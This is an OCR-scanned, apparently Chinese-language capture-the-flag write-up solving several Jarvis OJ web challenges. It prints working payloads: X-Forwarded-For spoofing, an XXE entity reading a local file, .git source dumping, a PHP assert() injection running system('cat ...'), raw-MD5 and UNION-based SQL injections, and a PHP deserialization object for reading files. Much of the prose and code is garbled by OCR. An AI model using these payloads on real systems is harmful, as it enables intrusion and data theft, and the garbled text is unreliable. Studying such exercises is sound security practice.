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Terminal Terminal File Edit View Search Terminal Help ty £ ) 11:12PM &%

mytest@ubuntu: ~

--insecure Allow connections to SS5L sites without certs (H)
--interface INTERFACE Use network INTERFACE (or address)

--ipv4 Resolve name to IPv4 address

--ipvé Resolve name to IPv6 address
--junk-session-cookies 1Ignore session cookies read from file (H)
--keepalive-time SECONDS Wait SECONDS between keepalive probes
--key KEY Private key file name (SSL/SSH)

--key-type TYPE Private key file type (DER/PEM/ENG) (SSL)

--krb LEVEL Enable Kerberos with security LEVEL (F)

--libcurl FILE Dump libcurl equivalent code of this command line
--limit-rate RATE Limit transfer speed to RATE

--list-only List only mode (F/POP3)

--local-port RANGE Force use of RANGE for local port numbers
--locdtion Follow redirecis (H)

-<location-trusted Like '--location', and send auth to other hosts (H)
--login-options OPTIONS Server login options (IMAP, POP3, SMTP)
--manual Display the full marual

--mail-from FROM Maill from this address (SMTP)

--mail-rcpt TO Mail to this/these addresses (SMTP)

--mail-auth AUTH Originator address of the original email (SMTP)
--max-filesize BYTES Maximum file size to download (H/F)
--max-redirs NUM Maximum number of redirects allowed (H)
--max-time SECONDS Maximum time allowed for the transfer
--metalink Process given URLs as metalink XML file
--negotiate Use HTTP Negotiate (SPNEGO) authentication (H)
--netrc Must read .netrc for user name and password
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<IDOCTYPE html=>

<html>

<head>

<title=Web 100</title>

<style type="text/css"=>
body {

background:gray;

text-align:center;
}
</style>
</head>

<body=>

<h3>Yeah!! Here's your flag:PCTF{M45t3r_oF CuRl}</h3>
</body>
</html=>

T (R AT R~

LOCALHOST

FTHFMITL, #2788 R localhost B AVFN, HELE VRNV MipZ2d 127.0.0.1 , BR—TEASL. FTUHE
Dyidip. A HUE E A B0 R 55 25 i 20 W o 1l ip i 77 2 383 A I header HHTF) X-FORWARDED-FOR FEXIFIMEH, A HIXA
FEBAER RV ip. IEAIENME S header, 51 X-FORWARDED-FOR , #tfFEI45H . 1R,

e
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Burp Intruder Repeater Window Help

[Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options IAIerts ]

1 x| ..
Go | <|v | Target: http://web.jarvisoj.com:32774 L;//J Ll|

J Raw T Params T Headers | Hex J Raw T Headers | Hex | HTML I Render ]

T»

GET / HTTR/Ll.1 A HTTF/1.1 200 OKE
IHost: web.jarvisoj.com: 32774 P Date: Thu, Z8 Dec Z0OL1l7 0Z:28:30 GMT
Pragma: no-cache Server: Apache/Z.4.18 (Unix) OpenS3L/1.0.Zh
Cache-Control: no-cache PHP/5.6.21 mod perl/Z.0.8-dev Perl/v5.l6.3
Uzer-LAgent: Mozilla/S5.0 (Windows NT £.1; Wined: xed) ¥-Powered-By: PHP/5.E.21
AppleWVebKit/537.36 (KHTML, like Gecko) Chroms/£3.0.32359.84 Content-Length: 239
Safari/537.36 Connection: close
Upgrade-Insecure—-Fequests: 1 Content-Type: text/html; charset=UTF-&
¥-FOEWARDED-FOR:127.0.0.1 .
Acocept: o <!DOCTYPE h
text/html, application/xhtml+xml, application/=ml; q=0.9, image/wvebp <html>
, image/apng, */ *;q=0.8 <heads>
Accept-Language: zh-CHN, zh;q=0.9 <title>Web 150</title>
|Cookie: <gtyle type="text/css">
UM distinctid=l£057hbed35168d-067eleclfbldal-5€15331c-144000-1609 body {
The43923€0 background: gray:
Connection: close text-align:center:
i
<fatyles
I </ head>
<body>
<h3>Yeah!! Here's your
flag:PCTF{X FOrwdrd FOR is not_s3cuRe} </h3>
</body>
| </htwl> \
e K
v

h term 0 matches

LL| LL' L| [;| Typ h term 0 matches LL| LL' L| [;| Type a

Dane 489 bytes | 45 millis

api 1 H

AN H Zxxe il A, W 5T 50 PFR Fxml 2h 6 SE 44

SJeHAR— T M Tlindex.php s YEACHD . B FZ e A jsflid. £ AH — send()A%, [H/apivl.Oftry kiR, FI¥5 R
A8 2Rl WV TR Z34F T T oh B oR kL AL R b B Rllanolicationfison. 36 H O & DR FPATT AR /g 3232 B /home/ctffflaa txtr
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%Wﬁ,%uﬁﬂﬁ&ﬁﬂ“%mwﬁﬂt%mﬁﬁm R, (HAKIIE UFLQ*M%ﬂﬁmM%WMﬂ§\ N

(2018/9/28)
MEH%%LMW@EZFR%ﬁT FRAEH, ToERRKT! !

B % b 2 BOX A R H R AR NAT 4 File:/// Ja H BN EASRAT. . & 8E nttp:// PH—FE, JEHEEE T4,

@EH%HRM/%WM&ﬁIM%,%uﬁ%%%,%E%Eﬁ%%ﬁ%@ﬁﬁ%ﬂﬂ,E&TzAﬂﬂo
A, WAEFEIXA payload Mt fHRIEMT 1. WL

e admin

TR H ML, Htiiss 7 — 1 hello world,  FEREHEAT, JEESH WA Al AZHRIE S, B DUt 56 F burp+5~ 349 —
T, BHEA RIS 32 5 A B fErobot.tdt. AT .

L
Go Cancel < |v > Target: http:/fweb.jarvisoj.com:9882 | #|| 7
Request Response
jRaw T Params T Headers I Hex TXML ] jRaw T Headers I Hex TXML ]
POST /api/vl.0/try HTTE/L.1 ] HTTE/L.0 200 OK A
Host: web.jarvisoj.com:S9882 P Content-Type: text/html; charsec=utf-8 P
Content-Length: 145 Content-Length: 57
Origin: http://wekh.jarvisoj.com: 9282 Server: Werkzeug/0.9.4 Python/2.7.6
User-Agent: Mozilla/5.0 (Windows NT £.1; Wingd; =E4) Date: Sun, 28 Jan 2018 08:0&:2& GNT
AppleWebKit/537.36 (EHTML, like Gecko)
Chrome/£3.0.3235.132 Safari/537.36 <root>
Content-Type: appication/xml <abc>CTE{¥XxE 15 n0T_S5T7range Enough}
Locept: /% </abc>
Referer: http://web.jarvisoj.com:9882/ </ root>
Aocept-Language: zh-CN, zh:qg=0.9
Cookie:
UM distinctid=l5abddelZad48f-02=5d4fef34157-7£E82331-10020
O-15abddeZZas5ct:
Connection: close
«<?¥ml wersion="1.0" encoding="UTF-E8" 2>
<IDOCTYPE netspi [<!'ENTITY xxe SYSTEM
"file:///home/ctE/flag. ext" =]
<rootk>
<abcrexxe; </abo>
</root>
e e
v A
? < + e & search term 0 matches e & search term 0 matches
Done 210 bytes | 48 millis



Attack Save Columns i
|

J Results ITarget T Positions I Payloads T Options 1

Filter: Showing all items [lj
Request | Payload [ Status | Errar | Timeout| Length | Comment

0 200 O ] 263 [a]
4390 robots txt 200 (| L 33 )
5 %EXT% 00 (| L 1265

496 2267 %EXT% /jlﬂﬂ (| L 1265

565 AccessDenied %EXT% 400 L L 1265

Hb4 ASPSamp/AdvWorks/equi... 400 [} [ 1265

580 Adm %EXT% 400 (| L 1265

591 Admin.%EXT% 400 (| L 1265

601 Admin/knowledge/dsmgr/u... 400 [} [ 1265

602 Admin/knowledge/dsmgriu... 400 L] L 1265 ',

J Request T Response ]

J Raw I Params I Headers T Hex 1

GET /robotsiZetxt HTTE/Ll.1

|Host: web.jarviso].com:327892

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Windows NT €.1; Winé4; =64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/£3.0.3239.132 Safari/537.3€

Upgrade-Insecure-FRequests: 1

N Aocept: text/html,application/xhtml4xml, application/xml;q=0.9, image,/ webhp, image/apng, */ *;q=0.8
Aocept-Language: zh-CHN, zh:qg=0.9

Cookie: UM distinctid=1e057be435169d-067eleglfbldal-5f159331c-144000-16097he43523£0
Connection: close

e

-
v
? < + = Type a search term 0 matches

5143 of 5151 | ]

i robot . txt. .

| [XHEESE A H#iR](https://img-blog.csdn.net/201801281634410632watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbG1lodG
x1bGledGx1lYmFp/font/5a6L5L2T/fontsize/400/fi11/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)
BeEViladmin_s3cr3t.php 3, REinflag{hello guest}...WITMHLI XM Zflag. . . FINIRFlagig X —F ... T KIUAL
, BIRAE. . UH T REAEMESR, BHAZFZadmin, U EZadmin iS4 K5 H XA php LA e E R flag. F12igdmaE—F,
KB —4 4 Nadminflicookie, #RJEburpilEiitl, ¥i%EF| T flag.

[XESE AT (https://img-blog.csdn.net/20180128163758911?watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbGlodG
x1bGledGx1lYmFp/font/5a6L5L2T/fontsize/400/fi11/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

VX B5E R ] (https://img-blog. csdn.net/20180128164109268?watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uZXQvbG1odG
x1bGledGx1lYmFp/font/5a6L5L2T/fontsize/400/fi11/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

e web?
H RN —-password. IR LT REE D AR, BB AMGEsqQVENIEH . FI2EFEMTUHRELR, HRIT
app.js... L pjsA % =04k, r(EFEfAE . fEH P& 7 Mpassword /1IN,  (FREHR [ pass) AR T T
.



key: "__checkpass__ REACT_HOT_LOADER_ ",
value: function(e) {
if (25 !== e.length) return ! 1;
for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444
, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [
[11, 13, 32, 234, 236, 3, 72, 237, 122, 23@, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 13
5], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187
, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14
, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 14
5, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 1
17, 74, 117, 250, 45], [142, 221, 121, 56, 56, 1208, 113, 143, 77, 19@, 195, 133, 236, 111, 144, 65, 172, 74, 160
, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57,
148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 6
3, 41, 182, 55, 189, 56, 182, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87
, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224,
141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22
, 98, 215, 139, @, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10,
238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [11@, 231, 82, 180, 189, 209, 239, 163, 30, 160, 60, 190, 97, 25
6, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173,
104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219,
183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 4
3, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 2
56, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33,
39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130
, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153,
6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 182, 20, 194, 207, 66], [154, 98, 219, 2, 13,
65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45
, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133
, 175, 164, 37, 176, 94, 232, 82, @, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 5
0, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236,
142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]
1, n=0; n < 25; n++) {
for (var i = @, a = 0; a < 25; a++)
i += t[a] * o[n][a];
if (i !'== r[n]) return ! 1
}

return ! @

I BACHD, L e S Bl 2 AT, H SaaiA b a i K2 A 225, charCodeAt()ef #0212 [m] 45 1 A B 145 1Y
Unicode#ifit. & T RAIIEIAFE — AN ERDHIER AR, AU MERERIARSE, —N47 255 It A1 25472581 (1o [ AH
P, AR TOERE: t1* 011 +12*012+13* 013 + ... +125* 0125 =r1, L (Wt MRl FNFRAT TR B 00 o6t (1), ok R Fr
R AR ARRS L 5 VR ERATTRY, BT DASRATTAT CLAR I tRE RS, TS B EATTAE 2 ) %59 . pythonth i numpy i B m] AR RE 1 4k T
o AR AR



numpy . array(o)
numpy . array(r)
numpy.linalg.solve(o,r)
temp =
>»> for every in t:

wn

e temp += unichr(int{round(every)))
print(temp)
{R3ac7 1s_interesting}

(import numpy)

XA R N7 LR AR AR R BT S N, TR AR B 2 unicode FAME, g e B A X HLER T IY
CE VN =L EE MR i Ees
python Hint()p& 2 LA 2 /NG 20 1o it LU FHIntR A 35, TEiAS B IEmR 45 R -

babyphp
FIFF UL, WUHER 7R s R 3 T git.. RS 5 B B a] e gitilt 7%, TR GitTools T B Wk SO 30T 2K

F..

mytest@ubuntu: /varfwww/html

mytest@ubuntu:~/Toolss cd GitTools-master/

mytest@ubuntu:~/Tools [Gi ols-master$ cd Dumper/

mytest@ubuntu:~/Tools /Gi C ter/Dumpers$ ./gitdumper.sh http://web.jarvisoj
.com:32798/.git/ .. [fglt

WA R

GitDumper is part of https:/fgithub.com/internetwache/GitTools

Developed and maintained by @gehaxelt from @internetwache

#
#
#
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!

HAHAHBHHRHR

[*]

A A

mytest@ubuntu: l

mytest@ubuntu:~/To G C naster /Dumper$ cd ../

mytest@ubuntu:~/Tc [ G s-master$ cd Extractor/
mytest@ubuntu:~/Tools/GitToc naster /Extractor$ ./fextractor.sh ../glt ../src
HEBHHABHHHR

# Extractor is part of https:/fgithub.com/internetwache/GitTools

Developed and maintained by @gehaxelt from @internetwache

Only for educational purposes!
IR
[*] Destina

#
#
#
# Use at your own risk. Usage might be illegal in certain circumstances.
#
#




B4 indexphp, i&41% T contactphp. home.php. flag.php, ififlag.php /24K, A HEL HRANIER., BFE
index.php, AU
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];

} else {

$page = "home";

}

$file = "templates/" . $page . ".php";

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

<?php

require_once $file;
?>

FAT T FEBNPEARAD R Z S DT s AR, frbhflag.phprh % F 4 diflagft. Mindexphp L afLIEH, HE4Hrequire_once $filen]
VLA kAL S flag.php, (HEF Mflag@ #d Fesn), BATHEEAR]. RIS fTassert() A%, B2 AR G AR 20 0 B &k AT
EEdr4, MifiEFflag.

IRIATiAt) & JATAT LA ) pageld . &% H4ik ik ipayload &l T -

flag’.system(“cat templates/flag.php;”).’

XFE, $file = "templates/flag'.system("cat templates/flag.php;").".php

MassertB&HHAT I B2 L

assert("strpos('templates/flag'.system("cat templates/flag.php;")."'.php', '.."') === false") or die("Detected
hacking attempt!");

s sy stem AT &5 RIHEZIF A8 b, IXFEIRATE 2 flag. php P INE 1.



[ webjarvisoj.com:3279° x

<«

C' | ® web.jarvisoj.com:32798/7?page=Fflag%27.system("cat%20templates/flag.php;").%27

That file doesn't exist!

\

w ﬂ Elements Console  Sources  Network Performance
<!--2php
// TODO
//SFLAG = "6ldctf{8e_careful_when_uslng_assdrt}’;
2-->
<!--?php
// TODO
//SFLAG = "6ldctf{Be_careful_when_uslng_assdrt}’;
2-->
<html:>
<head>»</head>
.. | <body>That file doesn't exist!</body> == $8
</html>

0l body

Memory  Application

Security

Audits  EditThisCookie X

Styles | Computed Event Listeners

-

Filter thov .cls +‘
element.style {

¥

body { user agent stylesheet

display: block;
margin: » 8px;

¥

_____________________________

Login
Jud
W, RIAEH N password

HURERA TR B A T LAk flag.. LA — MR AR IHE. R E e 0E T RSB0, AR Hburp+ 7 it 1712
121212 SFEANAER 2 — P mysql 4 iR:

[ web,jarvisoj.com:32772 x

< C | © web.jarvisoj.com:32772

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in

/opt/lampp/htdocs/index.php on line 14
Wrong Password.
password: | | submit | -
[w ﬂ Elements Console  Sources MNetwork  Performance Memory  Application  Security » ¢ X
<html> “ || styles | Computed Event Listeners
<head»</head>
== W <hody> == $8@ Filter thov .cls +, -
<br>
<b>Warning</b> ilement.style {
mysql fetch_array() expects parameter 1 to be resource,
boolean given in " body { user agent stylesheet
<b>/opt/lampp/htdocs/index.php</b> display: block;
" on line " margin:k 8px;




‘ ch>14< /hs ~ |3 '
il body | | -

|

JITCARNTE X E LS — A sqLIEE AR H,  _EHiR A HUE RN mysql_query()  BREHATHIR, B2 EHATHIsqlifia)
DU IR ARBATHE TR TR RAE R

PRI D9 7E DI b PR R B AR S, T H AT BU ARk R B R (R password 121212 45) HIRZAS, RAFIXS
LR, TCIEHRENEAN T, WA R IR %% 250 s qlL & )15 A BR 2 B A S LT LU INEE —F, RS8R
BrhaAaf EIURERS. R, KIS

‘ Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxex@fosecvn nﬂg
Burp Intruder Repeater Window Help

[Target I Proxy I Spider I Scanner I Intruder IRepeatef T Sequencer I Decoder I Comparer I Extender I Project options I User options IAIer‘Ls ]

1= |2 x| ..
Go Cancel < |v > | Target: http:/iweb. jarvisoj.com:32772 } ?

Request Response
J Raw T Params I Headers | Hex Raw | Headers | Hex
POST / HTTP/L1.1 A HTTP/1l.1 200 OK A
Host: web.jarvisoj.com:3Z772 a Date: Tus, 30 Jan 2013 0Z:00:30 GHT -
Content-Length: 11 Server: Apache/Z2.4.18 (Unix) OpenSSL/1l.0.2h PHP/E5.6.21
Cache-Control: max-age=0 mod_perlf:.D.S—dev Perl/w5.16.3
Crigin: http://web.jarvisoj.com:32772 ¥-Powered-Ey: PHP/5.6.21
Upgrade-Insecure-ERequests: 1 Hint: "select * from "admin’® where
|Content-Type: application/x-www-form-urlencoded passwvord='".md5 (§pass, trus) ."'"
Uzer-LAgent: Mozilla/S5.0 (Windows NT £.L1; Wined: xe4) Content-Length: 143
AppleWebKit/537.36 (KHTHML, like Gecko) Connection: close
Chrome/£3.0.3239.132 Safari/537.36 Content-Type: text/html; chars
Locept:
ltextﬁhtml,applicationﬁxhtml+xml,applicationfxml;q=D.9,imag Wrong Password.
e/webp, image/ apng, */ ¥ q=0.8 <form action="/" method="post">
Beferer: http://web.jarvisoj.com:32772/index. php I password: <input type="text" name="pass" />
|Accept—Language: zh-CHM, zh;gq=0.5 <input type="submit" wvalus="submit"™ /> l
Cookie: </ form>

UM distinctid=l£057hbed435168d-067eleclthbldal-5€158331c-1440
00-1£097b=43923€0
Connection: close

pass=123123

9 o

¥ v

EJ B B EJ | 0 matches EJ B T T Type a search term 0 matches

Dane 461 bytes | 63 millis
- T m

XRHEE S G EREA R EASKH VL AEM EE 7, FIEXE P md5INE SR sqliEA.
md5 ($pass, true) , ZHRENFH MR R, SHRMERKRKA: true, ForkhRan16 7/ Bt Hl%
false, BRik, FoRfth 327 4F 7 it 4.

W _ER BN T ffifdyop

md5 5 N : 2761722736c95d99e921722cf9ed621c

BTN Tor'6<HLIE>

IAPHE)G I sqliB A N: select * from admin where password=''or'6<#LiZ>" , FiAHZ4T select * fromadmin where
password=""or 1 , MIMLIMsqliF N

F AFRATIZE I 0L R i N FFifdyop EP £ F|flag:

/‘H [ web jarvisoj.com:32772 x \; \

| £ M F rarnls Tam dr Al . DT A o i 2 |




J ~ L W WELLJal VIsULLUITLD LT L

Correct pass!! Your Flag: PCTF{R4w_md5_is_d4ng3rous}

password: submit

<html>
<head>»</head:>
.- ¥ <body> == 3@
"Correct pass!! Your Flag: PCTF{R4w md5 is d4dng3rous}

P <form action="/" method="post">..</form>
</body>
</html>

il body |

[w ﬂ Elements Console Sources Network  Performance  Memory

Application  Security > i X

Styles | Computed Event Listeners »

Filter thov .els +‘ -
element.style {
¥
body { user agent stylesheet
display: block;
margin:® 8px;
¥
i margin 8
border -

—
L
I
B
g
:
| I I
I
T
-

inject

BEMAFEEEREATT, X —EsqUEANRE. hint&IFIRANTE SR BIER, IRIZ S A IR EE ik, B eAH

burp+ IS — i, B R4S

-
I, Intruder attack 1

NS

Attack Save Columns

J Results ITarget T Positions I Payloads T Options ]

()

Filter: Showing all items
Request | Payload | Status & Eror | Timeout | Length | Comment
0 200 O] O] 398
2537 config.php 200 | [ 11
3350 | index.php~ | 200 g (] 533
5 WEXT% 400 Ol Ol 1265
||| 496 2267 % 400 O] O] 1265
564 ASPSamp/Advilforks/equi . 400 | ] 1265
|| 565 AccessDenied. %EXT% 400 O [] 1265
580 Adm_%EXT% 400 Ol Ol 1265
1 591 Admin_ %EXT% 400 Ol Ol 1265
601 Admin/knowledge/dsmgr/u... 400 O [] 1265

v

Request | Response ]

| [ Raw | Headers | Hex |

HTTF/1l.l Z00 OK
lDate: Tue, 30 Jan 2018 0Z:47:20 GMT

Server: Apache/2.4.18 (Unix) OpensSSL/1.0.Zh PHP/5.€.21 mod perl/Z.0.8-dev Perl/v5.16.3

Last-Modified: Fri, 07 Jul 2017 05;56:19 GHNT
ETag: "ff-553b3edelacst™
becept-Fanges: bytes
N Content-Length: 255
Commectinm: o lo=ss




<?php

require ("config.php™)

ftable = § GET['table']?§ GET['table']:"test";

Stable = Filter ($table):

mysli query| Smyscli, "desc secret | ftable}l ") or Hacker():
§sql = "select 'flaglizxx}' from secret_{§table}":

fret = sql cuerv(§sqgl);

echo Sret[0]:

=

|*

? < + = | | Type a search term

0 matches

IF 715 2/ | 0 ]

WATE L =R, FE 1 AR sqUIBERRAT ARETHI, AT DU R SRAE G Ao

XS T I B
FERU TGS, AT BARATE RS sqLiBf b G5, BEl S E,

KBS RN T X oMy SqLE PR B 5 B BB 545 T 5N BIAT 5 5
SIS —BMETENME, WRTBMELTHETA S, WEns S

RAEA MY SqLECHE 6 A 1 40 90k

| zelect =zelect from usey

\ EERNKREIS

SELECT™ SELECT INSERT UPDATE DELETE Bk = Get auto-saved query
Bind parameters &
Bookmark this SQL query:
[EaERs | ] @ EER BRI IREEIE Rollback when finished v FEREsMENE
%‘n
SQLE® : o

select select’ from user LIMIT 0, 25

MySQL i&[E : o / '

#1054 - Undmown column " select’ in “field list’




WF lE{HEFRES U - L3 {7 (% 14 17, B1E4eE ULUULU B, )

Oeme® | G 25 v R | EETEER

+ 17EIM
select
select
select
select
select
select
select
select
select
select
select
select
select
select
select

EEXFERER) CRE BB I EE N sk E A BRsqliffa)
SELECT * FROM \user” ~ ~ union select 1,1DESC “user’ = °~ °
A F LLIEHHAT .. (R, FUARTAEITEIL ] LI AL

U BrRed | 780 v =iE
+ I
name  password
114 114
114 1 114 1
0
114 1

wl

= o W D
[R8]




209 SQL B9 BRINET.

LIESC "uzer

FNIE 7 IX S IBFAT LS EANTEA) . AL EAL mysqli_query() XANMREUERIHAT, RIEELL sql_query() BREIAT
Ja g R — M R BRA T ERIE.

PN AR (1 S 515 e L EANKIEH, B ASRSAE S TR A i R s B 7 . (AR AN sqlinf)mt & i &
BEARLE, BUASEEAU T . O

EiLRMNEEZNE NS RN ES Sselect 'flagixxx}' from secret {Stable} HfEI—i,
A RFiZ AR EEHunion select, Bf:

select 'flag{xxx}' from secret_test union select 1#

AT RIET, FATEAABItable{fE 52 test union select 14, F— FiX-tableff@Fmysqli query()
EE PRI EZE R : desc “secret test union select 1#°

FATIX-MEFA IR, &EFRFTZ Hsecret_test union select 1#§93F%. FALI—ESHATE R, AE
£H¥iHHello Hacker. HRIE LERIVALT-ERSI SHEFTMsqliET, F1Frable(E2H:

test® ‘union select 1#

XA E Y 5N desc “secret test® “union select 1#° (#EATERSI S, LA S0 MEEER,
X EEEREE+ AT L)

., FEmysgli query ()X ERIPEHAESME T, WA, sql_query () BEFHEFIHEEER:

select 'flag{xxx}' from secret test® ‘union select 1#, RFETFILLEZTHFAT.

ETRMALEHSZSEETHNEIIERNENSEMTLT. BEENEFIENE:

payload45l -

&F: table=test® ‘union select table name from information schema.tables limit 1,1

&H: table=test® ‘union select column name from information schema.columns limit 1,1

flag: table=test® “union select flagUwillNeverKnow from secret flag limit 1,1

\ [ [T =
.‘ 1 '_ : 9. X .\

[% webjarvisoj.com:3279 \ / wae -
€ > C | ® webjarvisoj.com:32794/index.php?table=flag %20 union%20select%20table_name%20from%20information_schema.tables%20limit%201,1 @ o)
secret_flag |
[w ﬂ Elements Console Sources Network Performance Memory Security  Application  Audits  EditThisCookie X
<html> Styles | Computed Event Listeners

<head></head>
.| <body>secret_flag Filter thov .cls +,

element.style {

</body> == $8 ¥

</html> body { user agent stylesheet
display: block;
margin:® 8px;
¥
LUl body | ad
e = = ————— =
\ B8 | B =S

[% webjarvisoj.com:3279: x \\ / won -
<« C' | © webjarvisoj.com:32794/index.php?table=flag'%20 union%20select%20column_name%20from%20information_schema.columns%20limit%20... @ ¥ )
flagUwilINeverKnow |
(w ﬂ Elements Console Sources Network Performance Memory Security Application  Audits  EditThisCookie i X
<html> Styles | Computed Event Listeners

<head></head>
«| <body>flagUwillNeverKnow Filter thov .cls +‘

element.style {

< fbodys = 50 }
</html> body { user agent stylesheet




display: block;
margin:® 8px;
¥
= ooy | .

[% webjarvisoj.com:3279: x

<« C | ® webjarvisoj.com:32794/index.php?table=flag'%20 union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1 Q ¥ @
flag{luckyGame~} r
|
{
' [w ﬂ Elements Console  Sources Network  Performance  Memory  Security  Application  Audits  EditThisCookie 1 X
html Styles | Computed Event Listeners
| head></head
| body>flag{luckyGame~} Filte! thov .cls +‘
' element.style {
/body> == 58 }
| </html

body { user agent stylesheet
display: block;
margin:® 8px;
3
2 o :

A J5) (B
BRI m, RAKER, RRER T TR RS AERE BT E HIEI M. BRI, stABl 7 HE KT

[

=
Sihees

& C | ® web.jarvisoj.com:32768&/index.php @ Yy ®
&5
& -
[w Dj Elements Console Sources Network Performance Memory  Security Application  Audits  EditThisCookie v X
Network | Filesystem : | [d index.php % BI | m ve @
v O top 1| <img src="showimg.php?img=c2hpZlxkLmpwZw==" width="100%"/> » Watch
v ¢ webjarvisoj.com:32768 2 \ ¥ Call Stack
o) index.php =
| ¥ Scope
| sed |
| ¥ Breakpoints
» XHR/fetch Breakpoints
» DOM Breakpoints
{} Line2 Column1 +
B Global listeners

TR 0T T s (I R B 5 — S php SO T showimg.php™ SREZELEIN, L3S img=c2hpZWxkLmpwZw=="JEbase644wil
. fRRYJE /2 shield. jpg” , HtAZUL showimg.php™ XANSCAHFAE S RIS, B8 2) R KA SR index. php™ , 53]
TIEAAS



//index.php

<?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) & $g = $_GET['class']; if
(lempty($g)) { $x = unserialize($g); } echo $x->readfile(); ?>

REGHHEE T shield.php™, BB DA EIVEAD:

//shield.php

<?php //flag is in pctf.php class Shield { public $file; function __ construct($filename = '') { $this -> file =
$filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'.."')===FALSE &&
stripos($this->file,'/"')===FALSE && stripos($this->file, '\\')==FALSE) { return @file_get_contents($this->file);
I

XAphp A& JF AT Flag R 1E petf.php H1H, IR EE petf.php , AidiX Bt Al DUF BIA W] BEIX 4 82 5 LR E
# petf.php HIAZ, ZRZERIFERAHHRAT]

IEE TR —F index.php™ 1 “shield.php™ MINET .

index.php” FEFRAEALE —NSH class” , REKESHABRRTII, RES Shield KE—MEH x™ .
“shield.php g5 7 Shield™ XANKHIE N, ©F —A file’ 4, A1 readfile” W#l, W LLEHU file” 4 MIICrF, A%
JE T R BEAVRIEMIE — AN RFFIMLE R Shield KX M IFHRFH, iER file” 408 petf.php” , A5 echo $x->r
eadfile();” WiATLABE] pctf.php™ FHINET .

EAS G 5 U A

<?php class Shield { public $file; function _ construct($filename = '') { $this -> file = $filename; } function
readfile() { if (!empty($this->file) && stripos($this->file,'.."')===FALSE && stripos($this->file,'/"')===FALSE &&
stripos($this->file, '\\')==FALSE) { return @file_get contents($this->file); } } } $x = new Shield('pctf.php');
echo serialize($x); //#itH455% N: 0:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} ?>

EERANSH, BRER. K.

| [IX 5 5 $iik ] (https://img-blog. csdn.net/20180130174213029watermark/2/text/aHROcDovL2Isb2cuY3Nkbi5uzZXQvbG1lodG
x1bG1OdGx1YmFp/font/5a6L5L2T/fontsize/400/fi11/I0IBQkFCMA==/dissolve/70/gravity/SouthEast)

